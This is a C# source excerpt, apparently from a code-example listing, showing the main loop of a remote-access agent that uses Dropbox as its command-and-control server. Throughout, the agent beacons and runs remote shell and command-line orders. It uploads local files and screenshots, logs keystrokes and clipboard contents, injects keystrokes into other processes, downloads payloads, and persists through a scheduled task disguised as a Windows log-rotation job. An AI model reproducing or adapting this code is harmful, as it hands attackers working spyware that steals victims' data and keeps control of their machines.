Example #1
0
        //==================================================================================================
        // Main function
        //==================================================================================================
        private void Run()
        {
            // Get a unique ID for the machine this agent is running on
            agentID = createAgentID();
            mutex   = new Mutex(false, @"Global\" + agentID);

            // Check if another instance of an agent is already running
            if (!mutex.WaitOne(0, false))
            {
#if (DEBUG)
                Console.WriteLine("[ERROR] Another instance of the agent is already running");
#endif
                return;
            }

            //---------------------------------------------------------------------
#if (DEBUG)
            Console.WriteLine("------------ AGENT STARTING ------------");
#endif

            // Break flag used to exit the agent
            bool breakFlag = false;


            c2StatusFile = "/" + agentID + ".status";
            c2CmdFile    = "/" + agentID + ".cmd";

            // Initializing a DropboxHandler object to handle all communications with the Dropbox C2 server
            DropboxHandler dropboxHandler = new DropboxHandler(accessToken);

            #if (DEBUG)
            Console.WriteLine("[Main] Uploading status and command file to the C2 server");
            #endif

            // Create the c2StatusFile and c2CmdFile on the Dropbox server. These files act as an unique identifier for this agent
            // as well as a receiver for commands from the server
            c2CmdFileLastRevNumber    = dropboxHandler.putFile(c2CmdFile, Encoding.ASCII.GetBytes(""));
            c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes(""));

            if (c2StatusFileLastRevNumber == String.Empty || c2CmdFileLastRevNumber == String.Empty)
            {
#if (DEBUG)
                Console.WriteLine("[Main][ERROR] Cannot create files on the C2 server");
#endif

                breakFlag = true;
            }
            else
            {
#if (DEBUG)
                Console.WriteLine("[Main] C2 Files created - Agent ready");
#endif
            }

            // Set initial sleep time to the nominal polling period with a deviation
            sleepTime = getRandomPeriod();

            //---------------------------------------------------------------------------------
            // Main loop
            //---------------------------------------------------------------------------------
            while (!breakFlag)
            {
#if (DEBUG)
                Console.WriteLine("[Main loop] Going to sleep for " + sleepTime / 1000 + " seconds");
#endif
                // Wait for the polling period to time out
                Thread.Sleep(sleepTime);
#if (DEBUG)
                Console.WriteLine("[Main loop] Waking up");
#endif

                // Calculate next sleep time
                sleepTime = getRandomPeriod();

                //----------------------------------------------------------------------------
                // Check if we're in shellMode
                if (shellMode)
                {
                    // So we're in shell mode, is there some shell output to push to the C2 ?
                    int currentLength = shellOutput.Length;
                    if (currentLength > 0)
                    {
                        string output = shellOutput.ToString(0, currentLength);
                        shellOutput.Remove(0, currentLength);
                        dropboxHandler.putFile("/" + agentID + ".dd", Crypto.EncryptData(Encoding.UTF8.GetBytes(output), cryptoKey));
                    }
                }

                //----------------------------------------------------------------------------
                // At each cycle, 'touch' the status file to show the agent is alive = beaconing
                c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes("READY - " + DateTime.Now.ToString()));

                // Check the c2 command File revision number
                string revNumber = dropboxHandler.getRevNumber(c2CmdFile);
                if (revNumber == String.Empty)
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop][ERROR] Unable to get the revision number for the command file");
#endif
                    // There was an error retrieving the last revision number, skip this turn
                    continue;
                }

                //----------------------------------------------------------------------------
                // If the revision number is different, that means there's a new command to be treated
                if (revNumber != c2CmdFileLastRevNumber)
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop] Command file has a new revision number: [" + revNumber + "]");
#endif

                    c2CmdFileLastRevNumber = revNumber;

                    // Read the content of the C2 file
                    string content = Encoding.UTF8.GetString(Crypto.DecryptData(dropboxHandler.readFile(c2CmdFile), cryptoKey));
                    if (content == String.Empty)
                    {
#if (DEBUG)
                        Console.WriteLine("[Main loop][ERROR] C2 command file on the server seems empty...");
#endif
                        continue;
                    }

                    //---------------------------------------------------------------------------------------------------
                    // Parse the received command to extract all required fields
                    StringReader strReader      = new StringReader(content);
                    string       result         = String.Empty;
                    string       command        = strReader.ReadLine();
                    string       taskID         = strReader.ReadLine();
                    string       taskResultFile = "/" + agentID + "." + taskID;

#if (DEBUG)
                    Console.WriteLine("[Main loop] Command to execute: [" + command + "]");
#endif

                    //---------------------------------------------------------------------------------------------------
                    // Command routing
                    //---------------------------------------------------------------------------------------------------
                    switch (command)
                    {
                    case "shell":
                        string shellCommand = strReader.ReadLine();
                        shellMode = true;

#if (DEBUG)
                        Console.WriteLine("\t[shell] Executing: [" + shellCommand + "]");
#endif

                        // Send the command to the child process
                        runShell(shellCommand);
                        break;

                    case "runCLI":
                        string commandLine = strReader.ReadLine();

#if (DEBUG)
                        Console.WriteLine("\t[runCLI] Executing: [" + commandLine + "]");
#endif

                        // Execute the command
                        result = runCMD(commandLine);

                        if (result == null)
                        {
                            result = "ERROR - COULD NOT EXECUTE COMMAND:" + commandLine;
#if (DEBUG)
                            Console.WriteLine("\t[runCLI][ERROR] External command did not executed properly");
#endif
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey));
                        break;

                    case "launchProcess":
                        string exeName   = strReader.ReadLine();
                        string arguments = strReader.ReadLine();

#if (DEBUG)
                        Console.WriteLine("\t[launchProcess] Executing: [" + exeName + " " + arguments + "]");
#endif

                        // Execute the command
                        if (launchProcess(exeName, arguments))
                        {
                            result = "OK - PROCESS STARTED: " + exeName + arguments;
                        }
                        else
                        {
                            result = "ERROR - COULD NOT EXECUTE: " + exeName + " " + arguments;
#if (DEBUG)
                            Console.WriteLine("\t[launchProcess][ERROR] External command did not executed properly");
#endif
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "sendFile":
                        string localFile  = strReader.ReadLine();
                        string remoteFile = taskResultFile + ".rsc";

#if (DEBUG)
                        Console.WriteLine("\t[sendFile] Uploading file [" + localFile + "] to [" + remoteFile + "]");
#endif

                        if (File.Exists(localFile))
                        {
                            // First push the wanted local file to the C2 server
                            dropboxHandler.putFile(remoteFile, Crypto.EncryptData(File.ReadAllBytes(localFile), cryptoKey));

#if (DEBUG)
                            Console.WriteLine("\t[sendFile] File uploaded");
#endif

                            // The task result is the path to the uploaded resource file
                            result = remoteFile;
                        }
                        else
                        {
                            // Push the command result to the C2 server
                            result = "ERROR - FILE NOT FOUND: " + localFile;
#if (DEBUG)
                            Console.WriteLine("\t[sendFile][ERROR] Command did not executed properly. Localfile not found : [" + localFile + "]");
#endif
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "downloadFile":
                        remoteFile = strReader.ReadLine();
                        string localPath = strReader.ReadLine();
                        string fileName  = strReader.ReadLine();

                        if (localPath == "temp")
                        {
                            localPath = Path.GetTempPath();
                        }

#if (DEBUG)
                        Console.WriteLine("\t[downloadFile] Downloading file from [" + remoteFile + "] to [" + localPath + fileName + "]");
#endif

                        if (dropboxHandler.downloadFile(remoteFile, localPath + fileName))
                        {
#if (DEBUG)
                            Console.WriteLine("\t[downloadFile] File downloaded");
#endif
                            result = "OK - FILE DOWNLOADED AT: " + localPath + fileName;
                        }
                        else
                        {
#if (DEBUG)
                            Console.WriteLine("\t[downloadFile][ERROR] Could not download file");
#endif
                            result = "ERROR - COULD NOT WRITE FILE AT LOCATION: " + localPath + fileName;
                        }

                        // remote file must be deleted
                        dropboxHandler.deleteFile(remoteFile);

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "sleep":
                        int    requestedSleepTime;
                        string value = strReader.ReadLine();
                        if (Int32.TryParse(value, out requestedSleepTime))
                        {
                            sleepTime = requestedSleepTime * 60 * 1000;

#if (DEBUG)
                            Console.WriteLine("\t[sleep] Next sleep is: " + sleepTime + " minute(s)");
#endif

                            // Compute wake up time
                            DateTime wakeUpTime = DateTime.Now.AddMinutes(sleepTime);
                            result = "SLEEPING" + "," + wakeUpTime.ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ");

                            c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes(result));
                        }
                        else
                        {
#if (DEBUG)
                            Console.WriteLine("\t[sleep][ERROR] Invalid amount of time specified [" + value + "]");
#endif
                            result = "ERROR - INVALID AMOUNT OF TIME FOR SLEEP: " + value;
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "polling":
                        int    requestedPeriod, requestDeviation;
                        string value1 = strReader.ReadLine();
                        string value2 = strReader.ReadLine();
                        if (Int32.TryParse(value1, out requestedPeriod) && Int32.TryParse(value2, out requestDeviation))
                        {
                            pollingPeriod = requestedPeriod * 1000;
                            deviation     = requestDeviation;

#if (DEBUG)
                            Console.WriteLine("\t[polling] Polling period changed to {0}s with a deviation of {1}% ", pollingPeriod, deviation);
#endif

                            result = "OK - PERIOD AND DEVIATION CHANGED";
                        }
                        else
                        {
#if (DEBUG)
                            Console.WriteLine("\t[polling][ERROR] Invalid value for period or deviation [{0}] / [{1}] of {1}% ", value1, value2);
#endif
                            result = "ERROR - INVALID INTEGER VALUE FOR PERIOD AND/OR DEVIATION: " + value1 + value2;
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "screenshot":
                        // Set the screenshot file name on the C2 server
                        remoteFile = taskResultFile + ".rsc";

#if (DEBUG)
                        Console.WriteLine("\t[screenshot] Taking screenshot and converting it to a JPG image");
#endif

                        // Push the image to the C2 server
                        dropboxHandler.putFile(remoteFile, Crypto.EncryptData(Screenshot.takeScreenShot(), cryptoKey));

                        // The task result is the path to the uploaded screenshot file
                        result = remoteFile;

#if (DEBUG)
                        Console.WriteLine("\t[screenshot] Uploading JPG screenshot to [" + remoteFile + "]");
#endif

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "keylogger":
                        string action = strReader.ReadLine();

                        if (action == "start")
                        {
                            keylogged = new StringBuilder();
                            // Start the keylogging function
                            KeyLogger.OnKeyDown += key => { keylogged.Append("d[" + key + "]\n"); };
                            KeyLogger.OnKeyUp   += key => { keylogged.Append("u[" + key + "]\n"); };
                            KeyLogger.Start();
#if (DEBUG)
                            Console.WriteLine("\t[keylogger] KeyLogger started");
#endif

                            result = "OK - KeyLogger started";
                        }
                        else
                        {
                            KeyLogger.Stop();
                            result = keylogged.ToString();
                            keylogged.Clear();
#if (DEBUG)
                            Console.WriteLine("\t[keylogger] KeyLogger stopped");
#endif
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "clipboardlogger":
                        action = strReader.ReadLine();

                        if (action == "start")
                        {
                            clipboardLogged = new StringBuilder();
                            // Start the keylogging function
                            ClipboardLogger.OnKeyBoardEvent += text => { clipboardLogged.Append(text + "\n"); };
                            ClipboardLogger.Start();
#if (DEBUG)
                            Console.WriteLine("\t[clipboardlogger] Clipboard Logger started");
#endif

                            result = "OK - Clipboard logger started";
                        }
                        else
                        {
                            ClipboardLogger.Stop();
                            result = clipboardLogged.ToString();
                            clipboardLogged.Clear();
#if (DEBUG)
                            Console.WriteLine("\t[clipboardlogger] Clipboard logger stopped");
#endif
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "sendkeystrokes":
                        string procName = strReader.ReadLine();
                        string keys     = strReader.ReadLine();

                        Process[] pList = Process.GetProcessesByName(procName);

                        if (pList.Length > 0)
                        {
                            Process p = pList[0];

#if (DEBUG)
                            Console.WriteLine("\t[sendkeystrokes] Sending key strokes to process " + procName + "\n" + keys);
#endif
                            if (KeyStrokes.sendKeyStrokes(p, keys))
                            {
                                result = "OK - Key strokes sent to process " + procName;
                            }
                            else
                            {
                                result = "ERROR - Could not send key strokes to the process, probably wrong keystrokes sequence";
                            }
                        }
                        else
                        {
#if (DEBUG)
                            Console.WriteLine("\t[sendkeystrokes] Error, could not find process with name " + procName);
#endif
                            result = "ERROR - Could not find a process with name " + procName;
                        }

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                        break;

                    case "persist":
                        // Get the current command line through which the stage was started, and
                        string oneLiner = Environment.CommandLine;
#if (DEBUG)
                        Console.WriteLine("\t[persist] Setting agent persistency through scheduled task");
#endif
                        // Create a fake/misleading batch script in the user's profile
                        string fileDir = Environment.ExpandEnvironmentVariables(@"%USERPROFILE%\AppData\Local\WindowsUserLogRotate");
                        Directory.CreateDirectory(fileDir);
                        string filePath = fileDir + @"\logrotate.bat";
                        System.IO.File.WriteAllText(filePath, oneLiner);

                        commandLine = "schtasks /create /TN 'WindowsUserLogRotate' /TR '" + filePath + "' /SC ONIDLE /i 20";
                        result      = runCMD(commandLine);

                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey));
                        break;

                    case "stop":
#if (DEBUG)
                        Console.WriteLine("\t[stop] Stopping agent");
#endif

                        result = "OK - STOPPING";
                        // Push the command result to the C2 server
                        dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));

                        breakFlag = true;
                        break;
                    }
                }
                else
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop] revNumber [" + revNumber + "] hasn't changed, nothing to treat");
#endif
                }
            }
#if (DEBUG)
            Console.WriteLine("[Main] Exiting... ");
#endif
        }